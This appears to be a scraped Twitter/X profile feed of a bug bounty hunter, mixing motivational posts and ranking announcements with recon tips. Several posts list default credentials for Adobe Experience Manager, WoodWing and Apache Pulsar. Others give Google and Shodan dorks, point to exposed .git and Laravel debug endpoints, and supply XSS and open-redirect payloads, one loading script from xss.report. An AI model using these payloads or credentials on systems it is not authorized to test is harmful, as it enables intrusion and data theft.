Chasing Positive vibes only & Ethical Hacking for fun and profit🧑🍳 app.intigriti.com/researcher… hackerone.com/fattselimi
127.0.0.1
- Tweets 37,375
- Following 10,784
- Followers 17,853
- Likes 94,080
Pinned Tweet
No one really cares about you, so just focus in yourself, in the end you will be alone anyway.
40
141
906
I just published How i was able to find Django Misconfiguration using Shodan. link.medium.com/gvb2UldqKxb
#BugBounty #bugbountytips #ethicalhacking #cybersecurity #CyberSecurityAwareness
15
173
725
59,705
I repeat: Bug bounty is not get fast money scheme it requires a lot of hours studying learning and understanding how an application works before being able to get $$$ from it.
#bugbounty #ethicalhacking
16
69
657
40,293
I'm not a good hacker but i open my laptop daily and i try to find web related security issues🤷♂️
34
44
511
45,859
My goal is to have my own Cyber Security Company and push everyone to hack for good, i hope that i can make it one day🙏
24
35
392
36,284
Adobe Experience Manager Default Password List:
admin:admin
author:author
anonymous:anonymous
replication-receiver:replication-receiver
jdoe@geometrixx.info:jdoe
aparker@geometrixx.info:aparker
Thanks to : cirt.net/passwords/?vendor=A…
#bugBounty #bugbountytips
8
124
387
35,093
This dork got me my first Bounty from BugCrowd
site:target.* inurl:'/content/dam' ext:txt
#bugbountytips #BugBounty
11
107
363
You have a whole academy for free at @PortSwigger labs to start and learn web applications vulnerabilities what are you waiting for?
7
42
352
28,509
A Great tool to scan for backup files github.com/musana/fuzzuli made by @musana
#bugbounty #ethicalhacking #bugbountytip #bugbountytips
2
73
354
15,166
To find this you can use Google Dorks or Shodan.
Google : intitle:"WoodWing Studio Server"
Shodan : http.title:"WoodWing Studio Server"
Default creds: username: woodwing password: ww
#bugbounty #bugbountytip #bugbountytips #ethicalhacking #infosec
Just scored a reward 750 € @intigriti #HackWithIntigriti
If you find woodwing studio server framework, definitely check https://woodwing.domain.tld/Server/.git/ folder, so you can have full access authority 😊😎 also by default user: woodwing pass : ww
1
105
355
40,067
Good morning Friends today is Blind XSS Triage Day👌
I used xss.report in Contact Form
Payload : '"></script><script src=//xss.report/s/yourserver></script>
#bugbounty #bugbountytip #bugbountytips #infosec #bbp
15
60
331
29,385
1. Download Alexa Top 1 million
2. Fuzz /security.txt
3. You can use this : github.com/markuta/go-securi…
4. I don't know who the author is i just used it now and its pretty fast
5. Get fresh BB Programs
#bugbounty #bugbountytips #bugbountytip
Google Dork - Bug Bounty Programs
site:*/security.txt "bounty"
Find lesser known targets
#bugbountytips
10
95
318
43,452
Good day Today i woke up into Critical vulnerabilities Triaged in @Hacker0x01
#bugbounty #ethicalhacking #infosec #hackforgood #togetherwehitharder
29
4
307
22,022
“How i was able to find Django Misconfiguration using Shodan.” by Fat Selimi
link.medium.com/TymMDoFUxzb
#bugbounty #bugbountytip #bugbountytips
8
72
300
24,403
Duplicates mean you were good as a hacker you just were not fast enough.
@InsiderPhD
19
35
292
28,512
Discover web app frameworks and their exposures (low, medium, high, critical) for bug bounties. By @ex16x41
github.com/ex16x41/bugbounty…
#bugbounty #bugbountytip #bugbountytips #ethicalhacking #cybersec #cybersecurity #pentesting #hacking
5
67
261
22,454
Triage of the day : IDOR leads to PII Disclosure via Drupal Nodes
/node/numericalid
Thank you @Hacker0x01 for the opportunity to Hack for good.
#bugbounty #bugbountytips #ethicalhacking #bugbountytip #infosec #ethicalhacking #cybersecurity #hackforgood
And yeah finally i just found an IDOR leaking PII Data
#bugbounty #ethicalhacking #infosec #cybersec #cybersecurityawareness
17
44
253
34,351
Ethical Hackers using Cracked Burpsuite not so Ethical of you😜
#bugbounty #ethicalhacking #cybersec #cybersecurity
23
23
243
23,299
I just noticed that i have sent +500 reports to @BMWGroup Bug Bounty Program in @Hacker0x01 for a period of 2 years of hard commitment in their program thank you @Hacker0x01 for changing my life🙏💚 #bugbounty #togetherwehitharder #ethicalhacking #cybersec
23
7
256
26,661
In this blog you can see how Path Normalization can help you find amazing bugs:
How I Hacked A Crypto Company And Could Steal 1 Million Dollars Worth of Bitcoin zoidsec.medium.com/how-i-hac…
By @z0idsec
#bugbounty #bugbountytip #bugbountytips #ethicalhacking
1
70
262
24,343
Bug Bounty is painful stressful Im doing Web Application Security Since i was 10 and now im now 24 if you think Bug Bounty is easy or you can get quick cash from it, Bug Bounty is just not for you.
#bugbounty #ethicalhacking
23
15
237
17,700
SQLi Injection through HTTP Headers : resources.infosecinstitute.c…
#bugbounty #ethicalhacking #infosec #informationsecurity #pentesting #penetrationtesting #sqli
1
81
238
20,153
I just found the most critical vulnerability in my whole Bug bounty journey with more than 3 milion PII Data Being Leaked.
Feels Good to be back.
#bugbounty #ethicalhacking #cybersecurity #cybersec
28
7
230
11,700
Easy way to find assets that are running on AEM (Adobe Experience Manager) Thank you @intigriti for this one
#bugbounty #bugbountytip #bugbountytips #aem #hackforgood #ethicalhacking #togetherwehitharder
4
38
243
17,002
Triage of the day at @Hacker0x01 Database Credentials Disclosure via Enabled Laravel Debug Mode
Don’t forget to check /_debugbar
#bugbounty #ethicalhacking #infosec #cybersec #cybersecurity #hackforgood #togetherwehitharder #bugbountytip #bugbountytips
9
31
222
21,738
Tried everything 403 forbidden
Tried this Payload : "><a href="//bing.com">Redirect</a> Worked fine
HTMLi to Open Redirection was Possible #bugbounty #bugbountytip #bugbountytips
10
53
216
24,276
So this got me my first Bounty in @Bugcrowd
site:target.* inurl:’/content/dam’ resulted to Sensitive Data Exposure of *.target.com
#bugbounty #bugbountytip #bugbountytips #infosec #informationsecurity #pentesting #security #cybersecurity #cybersec
Google Dorking is such an incredibly powerful way of doing recon! 💪
@fattselimi shows us an example of how you can find AEM instances of your target in just seconds! ⏲
#bugbounty #bugbountytips 👇
6
61
216
21,622
Who said that SQL Injection is dead?
Thank you @intigriti for the opportunity to hack for good🙏
#bugbounty #ethicalhacking
20
8
218
14,027
Please stop asking Ethical hackers to hack Instagram, Snapchat and other Social medias account we don’t do that stuff
21
33
206
38,726
Find Django Debug Mode set to True via Shodan
http.title:"DisallowedHost at /" ssl:"target"
#bugbounty #bugbountytip
11
46
210
17,118
Happy to share with everyone that im once again Ranked #1 at @BMWGroup Bug Bounty Program in @intigriti Bug Bounty Platform.
#bugbounty #ethicalhacking #infosec #cybersec #hackforgood
17
1
205
10,177
Thank you @intigriti for this Custom Made Personalised Portrait that you made for me forever thankful 🙏🫶
#bugbounty #hackwithintigriti #ethicalhacking
28
3
211
16,295
If you encounter in a Website running on Laravel don't forget to check /_debugbar which is Debug Mode Enabled for Laravel and you might end up finding Sensitive Data Like DB Creds and other stuff.
#bugbounty #bugbountytip #bugbountytips #ethicalhacking
2
38
206
16,427
Im happy to share with you that im currently ranked #1 in @Hacker0x01 country based leaderboard for 2023 Q2
#bugbounty #bugbountylife #cybersecurity #cybersecurityawareness #ethicalhacking #hackforgood #togetherwehitharder
26
3
214
17,124
Everyone just sees the payout in bug bounties, but they never see the long road that was necessarily needed to arrive at those rewards
#bugbounty #ethicalhacking
12
18
241
19,053
With these two last findings i now have sent more than 200+ Reports in @intigriti Bug Bounty Platform.
I love Ethical Hacking.
#bugbounty #ethicalhacking #cybersec #cybersecurity #infosec #informationsecurity #hackforgood
19
8
203
9,706
Finding of the day!
Time based SQLi via vulnerable email (POST) Parameter.
#bugbounty #bugbountytips #hacking #ethicalhacking #cybersecurity #cybersecurityawareness
9
15
201
19,639
Just got rewarded for a great collaboration in @Hacker0x01 It was an IDOR leading to 0 click ATO with my bro @badcrack3r 🙏❤️🔥
#bugbounty #ethicalhacking #hackforgood #togetherwehitharder
17
3
196
10,100
I just found an Unprotected Apache Pulsar Admin Login using default credentials
username: pulsar
password: pulsar
#bugbounty #bugbountytip #bugbountytips
7
29
196
38,830
SWYgeW91IGFyZSBhYmxlIHRvIHJlYWQgdGhpcywgaSB3aXNoIHlvdSBhIGdyZWF0IHdlZWsgYWhlYWQgYW5kIGRvbid0IGZvcmdldCB0aGF0IHlvdSBhcmUgaW1wb3J0YW50IHRha2UgY2FyZSBvZiB5b3Vyc2VsZiA8Mwo=
93
14
189
38,870
Ending 2023 Ranked #1 in 🇦🇱 Leaderboard in @Hacker0x01 Bug Bounty Platform🙏❤️🔥
#bugbounty #ethicalhacking #hackforgood #togetherwehitharder
16
5
189
9,018
Now i can take some rest finally🙏
Triages of the day at @Hacker0x01 Bug Bounty Platform
#bugbounty #ethicalhacking #hackforgood #togetherwehitharder
12
5
186
10,525
Finally i have completed all of challenge items in @Hacker0x01 it was only the valid collaboration report left and i did it finally
#bugbounty #togetherwehitharder #ethicalhacking #hackforgood
11
2
184
17,379
I was awarded 500$ from @BMWGroup in @Hacker0x01 Bug Bounty Platform for a 0 Click Account Takeover submission Thank you @badcrack3r for always helping me
#bugbounty #ethicalhacking #cybersec #cybersecurity #hackforgood #infosec #infosecurity
19
6
182
19,918
Findings of the day in @Hacker0x01
Low Priv user can do Higher Privilege actions
And IDOR Leads to Stored XSS + ATO
Thank you my bro @badcrack3r for motivating me to go further❤️🔥🙏
#bugbounty #ethicalhacking #TogetherWeHitHarder #infosec
15
5
180
11,448
Triage of the day in @Hacker0x01 Bug Bounty Platform
Bug type: SQLi via Vulnerable GET Parameter
#bugbounty #ethicalhacking #hackforgood #togetherwehitharder #cybersec #infosec #cybersecurity
9
2
178
7,644
Information disclouse issue i have found in a big company months ago
site:*.target.* intext:.@gmail.com
#bugbounty #bugbountytip #bugbountytips
7
38
175
12,994
Triage of the day at @BMWGroup Bug Bounty Program in @Hacker0x01
SMTP Creds leakage in js file
#bugbounty #ethicalhacking #hackforgood #cybersecurity #cybersecurityawareness
14
11
179
16,696
Always hack with your friends! me and @badcrack3r found some cool findings today hard work always pays off.
Thank you @intigriti for making a really enjoyable platform for everyone who likes web/mobile even hardware researching and security.
#infosec
8
10
168
11,431
Im currently Ranked #1 in @BMWGroup Bug Bounty Program in HackerOne and #18 in @amazon Bug Bounty Program
Thank you @Hacker0x01 for the opportunity to Ethically hack major companies and get paid for it.
#ethicalhacking #bugbounty #hacking #cybersecurity
13
163
15,453
Finding of the day in @Hacker0x01 after a long time.
Bug type: SQLi
I managed to identify a hidden subdomain using @dorkipty and i found a hidden endpoint after fuzzing and reported for further remediation.
#bugbounty #infosec #cybersec #ethicalhacking
9
6
171
8,406
Another successful collaboration in @Hacker0x01 Bug Bounty Platform with my bro @badcrack3r
Bug type: 0 click ATO via IDOR
#bugbounty #ethicalhacking #infosec #hackforgood #togetherwehitharder #pentesting #cybersecurity
14
5
169
10,559
I have passed 3000 Reputation points in @Hacker0x01 Bug Bounty Platform and im currently ranked 525 in worldwide ranking.
#bugbounty #ethicalhacking #cybersecurity #infosec #informationsecurity #pentesting #cybersecurityawareness
25
5
171
12,260
Another SQLi after a needed break, Thank you @intigriti for the opportunity.
#bugbounty #ethicalhacking #hackforgood
13
4
171
7,258
Currently Ranked #1 in Albania Leaderboard at @Hacker0x01 ❤️
It is a great feeling to contribute in the improvement of security of big companies like Amazon, Linkedin, BMW, Sony, Playstation etc.
#bugbounty #ethicalhacking #togetherwehitharder #hackforgood
13
4
163
13,014
Finding of the day at @BMWGroup Bug Bounty Program in @Hacker0x01
.git exposure leads to Admin Access :-)
#bugbounty #bugbountytips #cybersec #cybersecurity #infosec #informationsecurity #ethicalhacking #togetherwehitharder
13
6
169
15,388
Im currently Ranked #24 in @Hacker0x01 Bug Bounty Platform for Highest Critical Submissions.
#bugbounty #ethicalhacking #togethwehitharder #hackforgood #infosec #cybersec
11
5
170
6,511
Finding of the day I was able to find PII Leakage via .git disclosure dumped .git using goop and than i found db.sql inside a directory
Good night and have a good day y'all
#bugbounty #ethicalhacking #bugbountytip #bugbountytips #infosec #pentesting #cybersec #cybersecurity
11
12
161
14,579
Im now ranked #495 Worldwide in @Hacker0x01 Bug Bounty Platform with more than 350+ Valid Vulnerabilities Found
#bugbounty #ethicalhacking #togetherwehitharder #infosec #informationsecurity #cybersecurity
22
5
167
12,116
This was my first Bug Bounty from @Bugcrowd and im still getting bounties the same way.
Find the more details in my new write up how you can find Adobe Experience (AEM) Information Disclosure Vulnerability : medium.com/@fattselimi/infor…
#bugbounty #cybersecurity
This dork got me my first Bounty from BugCrowd
site:target.* inurl:'/content/dam' ext:txt
#bugbountytips #BugBounty
10
35
159
23,949
Triage of the day @Hacker0x01
Bug type: Blind XSS
Always happy to help billion dollar companies to improve their Cyber Security Posture in this Digital Era.
#bugbounty #ethicalhacking #hackforgood #infosec #cybersec #cybersecurity #xss #hacking #togetherwehitharder
12
4
159
19,236
Findings of the day
1st : Reflected XSS via vulnerable GET Parameter in a Private Program
Payload used : ‘-confirm(document.domain)-‘
2st : Information disclosure in a VDP
#bugbounty #bugbountytips #infosec #cybersecurity #cybersecurityawareness
15
17
155
33,498
Just found 26k+ PII Disclosed Life is good.
#bugbounty #ethicalhacking
21
4
165
13,057